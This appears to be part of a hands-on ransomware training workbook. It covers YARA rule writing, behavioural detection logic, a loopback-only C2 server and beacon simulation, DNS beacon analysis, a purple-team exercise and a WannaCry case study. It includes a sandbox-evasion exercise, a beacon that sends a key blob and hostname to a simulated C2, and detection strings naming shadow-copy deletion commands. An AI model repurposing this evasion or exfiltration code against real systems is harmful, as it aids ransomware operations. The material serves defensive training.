Behavioural Detection Logic Tree
Process starts
│
├── Does it call VirtualAllocEx + WriteProcessMemory + CreateRemoteThread?
│   └── YES → Process Injection suspected → ALERT (high confidence)
│
├── Does it enumerate files by extension at >100 files/sec?
│   └── YES → Possible bulk file operation
│       ├── Does it then call SetFileAttributes + WriteFile on each?
│       │   └── YES → Encryption pattern → ALERT (high confidence)
│       └── NO  → Possible legitimate indexer
│
├── Does it call vssadmin / wmic shadowcopy delete?
│   └── YES → Anti-recovery attempt → ALERT (critical)
│
├── Does it write a file matching *.locked / *.enc / README* to every directory?
│   └── YES → Ransom note pattern → ALERT (critical)
│
└── Does it resolve a .onion address or connect to Tor ports (9001/9030)?
    └── YES → Possible C2 communication → ALERT + BLOCK
Exercise 8.1

Sandbox Detection Fingerprinting

Objective: Write a Python script that checks for sandbox artefacts and reports whether the environment looks "real" or "virtual." This is what ransomware does — you're replicating its evasion logic so you understand it.

  1. Check CPU count

    Use os.cpu_count(). A count of 1 or 2 suggests a sandbox VM.

  2. Check total RAM

    Use psutil.virtual_memory().total. Below 4 GB is a sandbox indicator.

  3. Check uptime

    Use psutil.boot_time(). Very recent boot time (< 10 minutes) suggests a freshly launched sandbox VM.

  4. Check disk size

    Use psutil.disk_usage('/').total. Sandboxes often have very small (10–20 GB) disks.

  5. Score the environment

    Assign a suspicion score out of 10 (1 point per positive indicator). Print "SANDBOX LIKELY" if score ≥ 3.

📝 What was your Kali VM's suspicion score? Which indicators fired? What legitimate security tools (like Wireshark or Burp Suite) would also trigger the same checks? How would a defender configure their sandbox differently to score ≤ 1?
Module 09

YARA Rule Writing for Ransomware Detection

YARA is the industry-standard tool for writing pattern-based malware signatures. Every major EDR, AV, and SIEM platform supports YARA rules. Writing effective rules for ransomware requires understanding both the static artefacts (strings, byte patterns) and structural features (file format, entropy regions) that ransomware leaves behind.

📌 What You Need Before Starting Module 09
  • YARA must be installed. On Kali it is pre-installed — confirm with yara --version. If missing: sudo apt install -y yara
  • Your victim directory must have encrypted filesls ~/lab/victims/*.locked should show results. If not, run the Module 04 orchestrator first.
  • You need the ransom note (README_YOUR_FILES_ARE_ENCRYPTED.html) and key blob (ENCRYPTED_KEY.bin) from Module 05. These are the targets your rules will match against.
📌 How YARA Rules Work — The Mental Model

A YARA rule scans a file (or process memory) and returns a match if its condition evaluates to true. There are three sections:

  • meta — human-readable notes only. Not used in matching. Put author, description, severity here.
  • strings — patterns defined as text strings, hex byte sequences, or regular expressions. Each gets a variable name starting with $.
  • condition — a logical expression using your string variables, file properties (filesize), and module functions (math.entropy()). If this evaluates to true, the rule fires.

The power comes from combining conditions: a file with high entropy and a known magic header and a .locked extension is almost certainly ransomware-encrypted. Each condition alone produces false positives; together they are precise.

9.1 YARA Fundamentals

The annotated rule below is a reference template. Read every comment before writing your own rules — the comments explain not just what each directive does, but why you would use it in a ransomware detection context.

yara Save as: ~/lab/attacker/module_09/rule_anatomy.yar
/*
  YARA rule structure:
  rule  :  {
      meta:       // human-readable metadata (not used in matching)
      strings:    // patterns to search for
      condition:  // logical expression that must evaluate to true
  }
*/

rule ExampleRule : ransomware educational {
    meta:
        description = "Matches files containing ransomware-like patterns"
        author      = "Lab Student"
        severity    = "high"
        reference   = "module_09"

    strings:
        // Plain string (case-sensitive by default)
        $ransom_note   = "YOUR FILES HAVE BEEN ENCRYPTED"

        // Case-insensitive string
        $ransom_lower  = "your files have been encrypted" nocase

        // Wide string (UTF-16LE — common in Windows malware)
        $ransom_wide   = "ENCRYPTED" wide

        // Hex byte pattern (AES S-Box first row — present in many AES implementations)
        $aes_sbox      = { 63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 }

        // Regex: matches typical Tor .onion addresses
        $tor_address   = /[a-z2-7]{16,56}\.onion/

        // Regex: RSA public key PEM header
        $rsa_pubkey    = /-----BEGIN (RSA |)PUBLIC KEY-----/

        // Common file extension rename strings
        $ext_locked    = ".locked"
        $ext_enc       = ".enc"
        $ext_crypt     = ".crypt"

        // VSS deletion command
        $vss_delete    = "vssadmin delete shadows" nocase
        $wmic_shadow   = "wmic shadowcopy delete" nocase
        $bcdedit       = "bcdedit /set {default} recoveryenabled No" nocase

    condition:
        // Any 2 of the ransom note strings OR the VSS deletion commands
        // OR an AES S-Box signature combined with a Tor address
        (
            (#ransom_note + #ransom_lower + #ransom_wide) >= 1
            or ($vss_delete or $wmic_shadow or $bcdedit)
            or ($aes_sbox and $tor_address)
            or (2 of ($ext_*) and $rsa_pubkey)
        )
}

9.2 Entropy-Based YARA Conditions

A powerful YARA feature is the ability to check entropy of file sections. Encrypted code sections have entropy ≥ 7.0, which distinguishes them from compressed or plaintext code.

yara Save as: ~/lab/attacker/module_09/entropy_detection.yar
import "math"
import "pe"

rule HighEntropyPESection : suspicious {
    meta:
        description = "PE file with a high-entropy section — possible packed/encrypted payload"
        author      = "Lab Student"

    condition:
        // File is a PE binary
        uint16(0) == 0x5A4D  // "MZ" magic
        and pe.is_pe

        // Has at least one section with entropy > 7.2
        and for any section in pe.sections: (
            math.entropy(section.raw_data_offset, section.raw_data_size) > 7.2
        )

        // And the file is larger than 10 KB (avoid false positives on tiny stubs)
        and filesize > 10KB
}

rule EncryptedFileArtefact : ransomware {
    meta:
        description = "File that appears to be ransomware-encrypted (high entropy, custom magic)"

    strings:
        // Our lab's custom magic header "LOCK"
        $magic_lock = { 4C 4F 43 4B }

        // Other known ransomware magic bytes
        $magic_wncry = { 57 4E 43 52 59 }           // WannaCry: "WNCRY"
        $magic_locky = { 00 00 00 00 00 00 00 00 }   // Locky: null header

    condition:
        // Starts with a known magic AND has high entropy body
        (
            $magic_lock at 0
            or $magic_wncry at 0
        )
        and math.entropy(0, filesize) > 7.4
}

9.3 Behavioural YARA — Process Memory Scanning

yara Save as: ~/lab/attacker/module_09/memory_scan.yar
/*
  These rules scan PROCESS MEMORY rather than files on disk.
  Run with: yara -p 4 memory_scan.yar 
  Requires root / administrator privileges.
*/

rule RSAKeyInMemory : forensics {
    meta:
        description = "Detects RSA key material in process memory"

    strings:
        $pem_private = "-----BEGIN RSA PRIVATE KEY-----"
        $pem_public  = "-----BEGIN PUBLIC KEY-----"
        $pem_pkcs8   = "-----BEGIN PRIVATE KEY-----"

        // RSA PKCS#1 DER prefix for 4096-bit key
        $rsa_der_4096 = { 30 82 09 }

    condition:
        any of them
}

rule AESKeyScheduleInMemory : forensics {
    meta:
        description = "AES key schedule constants present in memory — possible active encryption"

    strings:
        // AES S-Box bytes (first 16 bytes)
        $sbox_start = { 63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 }

        // AES inverse S-Box bytes (first 16 bytes)
        $inv_sbox   = { 52 09 6A D5 30 36 A5 38 BF 40 A3 9E 81 F3 D7 FB }

        // AES round constants
        $rcon       = { 01 02 04 08 10 20 40 80 1B 36 }

    condition:
        $sbox_start and $inv_sbox and $rcon
}

rule RansomNoteInMemory : ransomware {
    meta:
        description = "Common ransom note phrases found in process memory"

    strings:
        $phrase1 = "YOUR FILES HAVE BEEN ENCRYPTED" nocase
        $phrase2 = "bitcoin" nocase
        $phrase3 = "tor browser" nocase
        $phrase4 = "unique ID" nocase
        $phrase5 = "do not rename" nocase
        $phrase6 = "decryption key" nocase

    condition:
        3 of them
}

9.4 Testing Your YARA Rules

bash Kali Terminal — YARA is already installed; these commands confirm and test it
# YARA is pre-installed on Kali — confirm version
yara --version

# If for any reason it's missing:
# sudo apt install -y yara

# Save your rules to the module_09 folder, then test:

# Test rule against your encrypted files
yara -r ~/lab/attacker/module_09/entropy_detection.yar ~/lab/victims/

# Verbose output — shows which strings matched
yara -s ~/lab/attacker/module_09/entropy_detection.yar ~/lab/victims/doc_01.txt.locked

# Scan recursively, output filenames only
yara -r -l ~/lab/attacker/module_09/entropy_detection.yar ~/lab/ 2>/dev/null

# Compile rules for faster future scanning
yarac ~/lab/attacker/module_09/entropy_detection.yar ~/lab/keys/compiled_rules.yarc

# Memory scan — find the PID of a running python3 process
PID=$(pgrep -f "python3 orchestrator.py" | head -1)
if [ -n "$PID" ]; then
    sudo yara ~/lab/attacker/module_09/memory_scan.yar $PID
else
    echo "Start orchestrator.py first in another pane, then run this"
fi

9.5 Interactive: YARA Rule Builder

✍ YARA Rule Generator

Fill in the fields to generate a YARA rule skeleton for a fictional ransomware family.

Ransomware Family Name
File Extension Used
Ransom Note Phrase
Magic Bytes (hex)
— fill in the fields and click Generate —
Exercise 9.1

Write and Test Three YARA Rules

Objective: Author three YARA rules — one for your lab's encrypted file format, one for the ransom note, one for the key blob — and measure their precision and recall.

  1. Rule 1: Encrypted file detection

    Save your rule as ~/lab/attacker/module_09/rule1_encrypted.yar. It should match files starting with your LOCK magic bytes and entropy > 7.4. Test with yara -r ~/lab/attacker/module_09/rule1_encrypted.yar ~/lab/victims/ — it should match all .locked files and zero others.

  2. Rule 2: Ransom note detection

    Write a rule matching the HTML ransom note by its known phrase and the simulation disclaimer. Measure: does it trigger on the ransom note only?

  3. Rule 3: Key blob detection

    Write a rule matching ENCRYPTED_KEY.bin — it's 512 bytes long (RSA-4096 output) and has high entropy. Can you distinguish it from random data files of the same size?

  4. Measure precision and recall

    Create 20 benign files (text, Python source, JSON). Run all 3 rules. Count true positives, false positives, true negatives. Calculate precision = TP / (TP + FP).

📝 Precision of Rule 1: ___ / Rule 2: ___ / Rule 3: ___. Which rule had the most false positives? Why? What would you change to improve precision without sacrificing recall?
Module 10

Network Traffic Analysis & C2 Simulation

Ransomware doesn't operate in isolation. At minimum, it exfiltrates the RSA-wrapped AES key to the attacker's C2 server. Many strains also exfiltrate files (double extortion), beacon for commands, or check a "killswitch" domain. This module covers how to simulate and detect that traffic.

📌 Module 10 Requires Two Simultaneous Terminals
You will run a C2 server script in one pane and a beacon client in another — both must be running at the same time. You will also run tcpdump to capture the traffic between them. Use tmux to manage this:
  1. Start a session: tmux new-session -s module10
  2. Split into two panes: Ctrl+B then %
  3. Left pane = tcpdump capture + C2 server
  4. Right pane = beacon client
  5. Switch between panes: Ctrl+B then ←/→
All traffic stays on 127.0.0.1 (loopback interface) — it never leaves your Kali VM. The Host-only network adapter ensures nothing can reach the internet even if you mistype an address.
🔧 Tools Used in Module 10 — All Pre-installed on Kali
  • tcpdump — command-line packet capture tool. Captures raw network traffic to a .pcap file for later analysis.
  • wireshark — GUI packet analyser. Opens .pcap files and lets you inspect HTTP requests, headers, and payloads visually. Launch with wireshark ~/lab/forensics/c2_capture.pcap &
  • The Python scripts use only the standard library (http.server, urllib.request) — no extra pip installs needed.
Verify: which tcpdump wireshark. If missing: sudo apt install -y tcpdump wireshark-common
⚠ The C2 Simulation Is Local Only — Read This
The C2 server binds to 127.0.0.1:8888 — the loopback address. This means it is only reachable from within your Kali VM. No traffic leaves the machine. The User-Agent header in the beacon is set to a browser string to illustrate how real ransomware blends in with normal HTTP traffic, but since this goes nowhere external, it is purely for observation. Do not change the C2_URL to a real IP address.

10.1 What Ransomware Sends Over the Network

Data SentWhenProtocol / MethodDetection Opportunity
RSA-wrapped AES key blob Immediately after key generation HTTPS POST to C2 / Tor .onion POST to .onion; unusual destination; large body
Victim fingerprint (ID, OS, domain) On execution HTTPS POST / DNS TXT query New host reaching out to uncategorised domain
Exfiltrated files (double extortion) Before encryption HTTPS, FTP, cloud storage APIs Sustained large outbound transfer from file server
Heartbeat / alive signal Periodically during encryption HTTP GET; DNS beacon Regular-interval DNS queries to low-reputation domain
Killswitch domain check On startup (WannaCry pattern) HTTP GET to hardcoded domain DNS query to domain that didn't exist previously

10.2 Simulating a C2 Beacon (Local Only)

We simulate a C2 protocol using a local Python HTTP server — all traffic stays on the loopback interface (127.0.0.1) inside your Kali VM. No real network communication occurs, and your Host-only VMware adapter ensures nothing leaves the VM.

python Save as: ~/lab/attacker/module_10/c2_server_sim.py — Run in tmux left pane
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, base64, threading, time

received_keys = []

class C2Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        pass   # suppress default logging

    def do_POST(self):
        if self.path == '/register':
            length  = int(self.headers.get('Content-Length', 0))
            payload = json.loads(self.rfile.read(length))
            
            victim_id   = payload.get('victim_id')
            enc_key_b64 = payload.get('encrypted_key')
            
            received_keys.append({
                'victim_id'  : victim_id,
                'received_at': time.time(),
                'key_bytes'  : len(base64.b64decode(enc_key_b64)),
            })
            
            print(f"[C2] Received key from victim: {victim_id}")
            print(f"[C2] Key blob size: {received_keys[-1]['key_bytes']} bytes")
            print(f"[C2] Total victims registered: {len(received_keys)}")
            
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.end_headers()
            self.wfile.write(json.dumps({'status': 'ok'}).encode())
        
        else:
            self.send_response(404)
            self.end_headers()

    def do_GET(self):
        if self.path == '/victims':
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.end_headers()
            self.wfile.write(json.dumps(received_keys, indent=2).encode())


if __name__ == '__main__':
    server = HTTPServer(('127.0.0.1', 8888), C2Handler)
    print("[C2] Simulated C2 server listening on 127.0.0.1:8888")
    print("[C2] Endpoints:")
    print("      POST /register  — receive victim key registration")
    print("      GET  /victims   — list all registered victims")
    server.serve_forever()
python Save as: ~/lab/attacker/module_10/c2_beacon.py — Run in tmux right pane
import urllib.request, json, base64, hashlib, platform, time

C2_URL    = 'http://127.0.0.1:8888'   # loopback only — not real network
TIMEOUT   = 5

def generate_victim_id() -> str:
    fp = platform.node() + platform.machine() + str(time.time())
    return hashlib.sha256(fp.encode()).hexdigest()[:16].upper()


def register_with_c2(encrypted_key: bytes, victim_id: str) -> bool:
    """
    Send the RSA-wrapped AES key to the C2 server.
    Without this, the attacker cannot decrypt the victim's files even if they want to.
    """
    payload = json.dumps({
        'victim_id'    : victim_id,
        'encrypted_key': base64.b64encode(encrypted_key).decode(),
        'os'           : platform.system(),
        'hostname'     : platform.node(),
        'timestamp'    : time.time(),
    }).encode()
    
    req = urllib.request.Request(
        url     = C2_URL + '/register',
        data    = payload,
        method  = 'POST',
        headers = {
            'Content-Type'  : 'application/json',
            'Content-Length': str(len(payload)),
            'User-Agent'    : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        }
    )
    
    try:
        resp = urllib.request.urlopen(req, timeout=TIMEOUT)
        result = json.loads(resp.read())
        return result.get('status') == 'ok'
    except Exception as e:
        print(f"[!] C2 registration failed: {e}")
        # Real ransomware often stores the key locally as fallback
        return False


def heartbeat_loop(victim_id: str, interval: int = 30):
    """Send periodic alive signals to C2."""
    print(f"[*] Starting heartbeat loop (every {interval}s)")
    while True:
        try:
            payload = json.dumps({
                'victim_id': victim_id,
                'alive'    : True,
                'ts'       : time.time(),
            }).encode()
            req = urllib.request.Request(
                C2_URL + '/register', data=payload, method='POST',
                headers={'Content-Type':'application/json'}
            )
            urllib.request.urlopen(req, timeout=3)
        except: pass
        time.sleep(interval)

10.3 Network Traffic Analysis with tcpdump

The loopback interface (lo) carries all C2 traffic within the VM. Capturing and analysing this teaches you what defenders see in packet captures. Since you're on Kali, you can also open the .pcap file directly in Wireshark's GUI for a visual view of the traffic.

bash Capturing and analysing C2 traffic
# tcpdump and wireshark are already on Kali — verify:
which tcpdump && tcpdump --version | head -1

# ── Open a tmux session with two panes (Ctrl+B then %) ─────────────
# LEFT PANE: Start capture on loopback before running any C2 code
sudo tcpdump -i lo -w ~/lab/forensics/c2_capture.pcap port 8888
# (this blocks — leave it running, switch to right pane)

# RIGHT PANE: Run C2 server then beacon
cd ~/lab/attacker/module_10
python3 c2_server_sim.py &
sleep 1
python3 -c "
import sys; sys.path.insert(0, '.')
from c2_beacon import register_with_c2, generate_victim_id
import os
enc_key = os.urandom(512)
vid = generate_victim_id()
success = register_with_c2(enc_key, vid)
print('Registered:', success)
"

# Back in LEFT PANE: press Ctrl+C to stop the capture

# ── Analyse the capture ─────────────────────────────────────────────
# Show HTTP traffic content (human-readable)
sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -A 2>/dev/null | grep -A5 "POST /register"

# Count packets by size
sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -q 2>/dev/null | \
  awk '{print $NF}' | sort -n | uniq -c | tail -20

# Extract victim_id from captured traffic
sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -A 2>/dev/null | \
  grep -o '"victim_id":"[^"]*"'

# Open capture in Wireshark GUI (Kali includes Wireshark)
wireshark ~/lab/forensics/c2_capture.pcap &

10.4 DNS Beaconing Detection

Some ransomware encodes data in DNS queries — a technique that bypasses HTTP proxies and is harder to detect because DNS traffic is rarely inspected in depth. Instead of making an HTTP POST to a C2 server, the malware encodes the victim ID or key material into subdomain names and queries them. The data arrives at the attacker's DNS server as part of a normal-looking name resolution request.

The detection signature is regularity: legitimate user browsing produces DNS queries at irregular intervals to many different domains. A beacon queries the same root domain at suspiciously uniform intervals — the standard deviation of inter-query times is very low. The detect_beaconing function below measures exactly this. The jitter_threshold parameter sets how much timing variation is allowed before flagging — a low value catches tight beacons while tolerating normal software update checks.

The sample log included in the script contains one beaconing client (192.168.1.50 querying beacon.darkcipher.cc every 60 seconds) and one normal client (192.168.1.90 querying different domains at irregular intervals). Run the script and verify only the beaconer is flagged.

python Save as: ~/lab/attacker/module_10/dns_beacon_analysis.py
import statistics, time
from collections import defaultdict

"""
DNS beaconing signature:
  - Same domain queried at suspiciously regular intervals
  - Subdomain varies (encodes data) but root domain is fixed
  - Query frequency doesn't match any browsing pattern

This analyser works on DNS log exports from your resolver.
Format expected: timestamp  client_ip  query_domain
"""

SAMPLE_DNS_LOG = """
1700000010  192.168.1.50  a3b4c5d6.beacon.darkcipher.cc
1700000070  192.168.1.50  f7e8a9b0.beacon.darkcipher.cc
1700000130  192.168.1.50  1c2d3e4f.beacon.darkcipher.cc
1700000190  192.168.1.50  5a6b7c8d.beacon.darkcipher.cc
1700000250  192.168.1.50  9e0f1a2b.beacon.darkcipher.cc
1700000010  192.168.1.90  www.google.com
1700000045  192.168.1.90  api.github.com
1700000300  192.168.1.90  updates.microsoft.com
"""

def detect_beaconing(dns_log: str, jitter_threshold: float = 5.0) -> list:
    """
    Flag clients that query the same root domain at very regular intervals.
    jitter_threshold: max allowed std dev in seconds between queries.
    """
    events = defaultdict(list)   # (client, root_domain) → [timestamps]
    
    for line in dns_log.strip().split('\n'):
        parts = line.strip().split()
        if len(parts) < 3: continue
        ts, client, domain = float(parts[0]), parts[1], parts[2]
        
        # Extract root domain (last two labels)
        labels = domain.split('.')
        root   = '.'.join(labels[-3:]) if len(labels) > 2 else domain
        events[(client, root)].append(ts)
    
    alerts = []
    for (client, root), timestamps in events.items():
        if len(timestamps) < 3: continue
        
        timestamps.sort()
        intervals = [timestamps[i+1] - timestamps[i] for i in range(len(timestamps)-1)]
        mean_interval = statistics.mean(intervals)
        jitter        = statistics.stdev(intervals) if len(intervals) > 1 else 0
        
        if jitter < jitter_threshold:
            alerts.append({
                'client'       : client,
                'root_domain'  : root,
                'query_count'  : len(timestamps),
                'mean_interval': round(mean_interval, 1),
                'jitter_stdev' : round(jitter, 2),
                'verdict'      : 'BEACON DETECTED',
            })
    
    return alerts


alerts = detect_beaconing(SAMPLE_DNS_LOG)
for a in alerts:
    print(f"\n{'='*50}")
    for k, v in a.items():
        print(f"  {k:20s}: {v}")
Exercise 10.1

Full C2 Communication Capture & Analysis

Objective: Run the complete Module 10 C2 simulation, capture traffic, and produce a network-level IoC report.

  1. Start C2 server and capture

    Launch c2_server_sim.py and tcpdump simultaneously. Register two "victims" with different IDs.

  2. Analyse the pcap

    Open with tcpdump -r c2_capture.pcap -A. Identify: source IP, destination port, HTTP method, Content-Length header value, User-Agent string.

  3. Run the beacon analyser

    Modify dns_beacon_analysis.py to use your own synthetic log with one beaconing client and two normal clients. Verify only the beaconer is flagged.

  4. Write Suricata/Snort rule

    Write a network signature rule (Suricata syntax) that matches the C2 registration POST. Include content matches for "POST /register" and "victim_id".

📝 What was the Content-Length of the key registration POST? What User-Agent did the beacon send and why is that significant? Paste your Suricata rule here.
Module 11

Purple Team Exercise — Full Attack vs. Defence Simulation

Purple teaming means running an attack and a defence simultaneously, with both sides sharing information to improve detections in real time. In this module you'll play both roles, using everything from Modules 01–10 in a coordinated tabletop that mirrors a real enterprise incident.

📌 Module 11 Is the Capstone — Complete All Prior Modules First
Module 11 imports scripts from Modules 04, 05, 07, and 10. All of those must have been saved to their correct locations first:
  • ~/lab/attacker/module_04/encryptor.py and file_scanner.py
  • ~/lab/attacker/module_05/key_manager.py
  • ~/lab/attacker/module_07/canary_monitor.py
  • ~/lab/attacker/module_10/c2_server_sim.py and c2_beacon.py
Save the Module 11 purple team scripts into ~/lab/attacker/purple_team/. They import from the module directories using sys.path.insert, so the relative paths matter.
📌 Module 11 Requires Three Simultaneous Terminal Panes

Use the three-pane tmux layout from Module 01 section 1.7. Run this single command to create it:

tmux new-session -s purpleteam \; split-window -h \; split-window -v \; select-pane -t 0
  • Left pane — Blue team: canary monitor + C2 traffic watch
  • Top-right pane — C2 server (c2_server_sim.py)
  • Bottom-right pane — Red team: execute the full attack
⚠ Take a Snapshot Before Starting
Name it "before-module-11". This is the most complex module — multiple scripts run simultaneously and the victim directory will be encrypted. A snapshot lets you replay the exercise cleanly as many times as you like.
How to Run This Exercise — Solo vs. Paired
With a partner (recommended): One person operates the red team terminal (bottom-right pane), one monitors the blue team terminal (left pane). Set a timer for each phase — the time pressure is realistic and educational.

Solo: Work through the phases sequentially. Start the blue team monitors first, then switch to the red team pane and execute. Switch back after each phase to observe what fired.

11.1 Scenario Briefing

Scenario: "Operation DarkCipher" — Tabletop Layout
SCENARIO: A threat actor has obtained RDP credentials via a phishing attack.
They have planted the ransomware payload in ~/lab/victims/ (simulating a
file server) and are about to execute.

YOUR LAB ENVIRONMENT MAPS TO:

  ~/lab/victims/    →  Production file server share (Finance + HR documents)
  ~/lab/keys/       →  Attacker's key server (simulated local)
  127.0.0.1:8888    →  Attacker's C2 server (loopback only)
  ~/lab/forensics/  →  SIEM / EDR telemetry output

ASSETS TO PROTECT:                     ATTACKER OBJECTIVES:
  ✓ 10 victim files                       ✗ Encrypt all files
  ✓ Canary files (early warning)          ✗ Exfiltrate key blob to C2
  ✓ C2 comms (will alert if reached)      ✗ Drop ransom note
  ✓ Forensic log integrity                ✗ Delete forensic evidence

11.2 Phase 1 — Red Team: Pre-Attack Setup (10 minutes)

Before executing, the red team must complete preparation steps — mirroring real attacker tradecraft.

python purple_team/red_team_setup.py — Red team preparation
import os, subprocess, time
from pathlib import Path
from key_manager import attacker_generate_keypair

def red_team_prep():
    print("[RED] === Pre-Attack Preparation Phase ===")
    
    # Step 1: Generate RSA keypair (attacker's server would do this)
    print("[RED] Generating C2 RSA key pair...")
    attacker_generate_keypair(str(Path.home() / 'lab/keys'))
    
    # Step 2: Verify victim directory has files to target
    targets = list(Path.home().joinpath('lab/victims').rglob('*'))
    files   = [f for f in targets if f.is_file()]
    print(f"[RED] Target reconnaissance: {len(files)} files found in ~/lab/victims/")
    
    # Step 3: Identify high-value targets (simulate priority targeting)
    high_value = [f for f in files if any(kw in f.name.lower()
                  for kw in ['salary','contract','budget','report'])]
    print(f"[RED] High-value targets identified: {[f.name for f in high_value]}")
    
    # Step 4: Check for backups (real ransomware checks for backup software)
    backup_indicators = [str(Path.home() / 'lab/backups'), str(Path.home() / 'lab/snapshots')]
    for p in backup_indicators:
        exists = Path(p).exists()
        print(f"[RED] Backup directory {p}: {'FOUND — must target' if exists else 'not found'}")
    
    # Step 5: Simulate environment check (sandbox evasion)
    cpu_count = os.cpu_count()
    print(f"[RED] CPU count: {cpu_count} — {'PROCEEDING' if cpu_count > 1 else 'SANDBOX DETECTED — aborting'}")
    
    print("\n[RED] Preparation complete. Ready to execute.")
    print("[RED] Waiting 5 seconds before execution (simulating attacker timing)...")
    time.sleep(5)

red_team_prep()

11.3 Phase 2 — Blue Team: Pre-Attack Monitoring (concurrent)

python purple_team/blue_team_monitor.py — Blue team detection stack
import hashlib, time, os, threading, json
from pathlib import Path

# ── Configuration ────────────────────────────────────────────────────
WATCH_DIR   = str(Path.home() / 'lab/victims')
LOG_DIR     = str(Path.home() / 'lab/forensics')
ALERT_LOG   = Path(LOG_DIR) / 'blue_team_alerts.json'
CHECK_INTERVAL   = 0.5    # seconds between polls
ENTROPY_THRESHOLD = 7.2   # bits/byte
SUSPICIOUS_NAMES  = ['readme', 'how_to', 'decrypt', 'ransom', 'locked']

alerts = []

def file_entropy(path: Path) -> float:
    import math
    data = path.read_bytes()
    if not data: return 0
    freq = [data.count(bytes([b])) / len(data) for b in range(256)]
    return -sum(p * math.log2(p) for p in freq if p > 0)

def alert(severity: str, message: str, details: dict = None):
    timestamp = time.time()
    entry = {'severity': severity, 'message': message,
             'timestamp': timestamp, 'details': details or {}}
    alerts.append(entry)
    ALERT_LOG.write_text(json.dumps(alerts, indent=2))
    indicator = '🔴' if severity == 'CRITICAL' else ('🟡' if severity == 'HIGH' else '🟢')
    print(f"[{indicator} ALERT] {severity}: {message}")

def snapshot_directory(watch_dir: str) -> dict:
    """Take a snapshot of all files: path → (mtime, size)"""
    snap = {}
    for f in Path(watch_dir).rglob('*'):
        if f.is_file():
            snap[str(f)] = (f.stat().st_mtime, f.stat().st_size)
    return snap

def monitor_loop():
    print("[BLUE] Starting file system monitor...")
    prev_snap     = snapshot_directory(WATCH_DIR)
    encrypted_ct  = 0
    start_time    = time.time()
    
    while True:
        time.sleep(CHECK_INTERVAL)
        curr_snap = snapshot_directory(WATCH_DIR)
        elapsed   = time.time() - start_time
        
        # Detect new or modified files
        for path_str, (mtime, size) in curr_snap.items():
            path = Path(path_str)
            
            # New file appeared
            if path_str not in prev_snap:
                # Check for suspicious name patterns
                if any(s in path.name.lower() for s in SUSPICIOUS_NAMES):
                    alert('CRITICAL', f"Suspicious file created: {path.name}",
                          {'path': path_str, 'size': size})
                
                # Check extension
                if path.suffix in {'.locked', '.enc', '.crypt', '.darkenc'}:
                    encrypted_ct += 1
                    if encrypted_ct == 1:
                        alert('HIGH', f"First encrypted file detected at T+{elapsed:.1f}s",
                              {'file': path.name})
                    if encrypted_ct == 5:
                        alert('CRITICAL', f"5 files encrypted — ransomware confirmed at T+{elapsed:.1f}s",
                              {'count': encrypted_ct})
                
                # Entropy check on new files
                try:
                    ent = file_entropy(path)
                    if ent > ENTROPY_THRESHOLD:
                        alert('HIGH', f"High-entropy new file: {path.name} ({ent:.2f} bits/byte)",
                              {'entropy': round(ent,2)})
                except: pass
        
        # Detect deleted files (originals removed after encryption)
        deleted = set(prev_snap) - set(curr_snap)
        if len(deleted) >= 3:
            alert('CRITICAL', f"Mass file deletion detected: {len(deleted)} files removed",
                  {'deleted': list(deleted)[:5]})
        
        prev_snap = curr_snap

if __name__ == '__main__':
    Path(LOG_DIR).mkdir(exist_ok=True)
    monitor_thread = threading.Thread(target=monitor_loop, daemon=True)
    monitor_thread.start()
    
    print("[BLUE] Monitor active. Press Ctrl+C to stop and review alerts.")
    try:
        while True: time.sleep(1)
    except KeyboardInterrupt:
        print(f"\n[BLUE] Monitoring stopped. Total alerts: {len(alerts)}")
        print(f"[BLUE] Alert log: {ALERT_LOG}")

11.4 Phase 3 — Red Team Execute / Blue Team Respond

With both scripts running in parallel terminals, the red team executes the full attack chain from Modules 04 and 05 (file encryption + C2 registration). The blue team's monitor will fire alerts. Record the timeline below.

📋 Purple Team Scorecard

Track your exercise results. This mirrors how real purple teams measure effectiveness.

Metric Red (Attacker) Blue (Defender)
Exercise 11.1 — Capstone

Full Purple Team Run

Objective: Execute the complete red-team attack while the blue-team monitor runs, then write a joint after-action report.

  1. Blue: Start monitoring

    Run blue_team_monitor.py in Terminal 1. Confirm it says "Monitor active."

  2. Red: Start C2 server

    Run c2_server_sim.py in Terminal 2.

  3. Red: Execute attack

    Run red_team_setup.py then orchestrator.py (with C2 beacon integrated) in Terminal 3. Note execution time.

  4. Record the timeline

    At what elapsed time did the first ALERT fire? After how many encrypted files? How does this compare to your canary experiment in Module 07?

  5. Write the after-action report

    Using the alert log (blue_team_alerts.json) and encryption log, write a 1-page report covering: attack timeline, detection latency, files lost before detection, gaps identified, recommended improvements.

📝 Time from execution to first CRITICAL alert: ___ seconds. Files encrypted before alert: ___. Top 3 defensive improvements you identified: (1) ___ (2) ___ (3) ___
Module 12

Real-World Case Studies & Lessons Learned

Every technique in this workbook maps to decisions made — or missed — in real incidents. This final module applies your lab knowledge to documented attacks, reinforcing the connection between theory, simulation, and operational reality.

📌 No Code in Module 12 — This Is a Reading and Analysis Module
Module 12 is entirely analytical. There are no scripts to run and no victim files to encrypt. Your job is to read the case studies and answer a critical question for each: which specific module in this workbook taught you the technique that would have detected or prevented this attack? The table entries in section 12.2 already show you the module mappings — use them as a guide for writing your own analysis in the answer boxes.
📌 How the Cryptographic Weaknesses Catalogue Connects to Your Lab
Section 12.4 lists real ransomware strains that were broken by forensic researchers. As you read each entry, think about your own simulation: could the same flaw exist in your code? For example — did your Module 04 encryptor reuse the same AES key for every file (a weakness)? Did Module 05 wipe the plaintext key from memory effectively? These are the same questions incident responders ask when they receive a memory dump from an infected machine.
🐛

Attack Vector

EternalBlue (MS17-010) — an NSA-developed SMB exploit leaked by Shadow Brokers. Required no user interaction. Spread across LAN automatically.

🔒

Encryption

AES-128-CBC per file. The AES key encrypted with RSA-2048. Implementation had a weakness: the RSA private key was stored in process memory long enough for researchers to recover it on unpatched Windows XP.

🛑

The Killswitch

WannaCry checked whether a specific domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com) resolved. A security researcher registered it for $10.69 — instantly halting 200,000 infections globally.

🏥

Impact

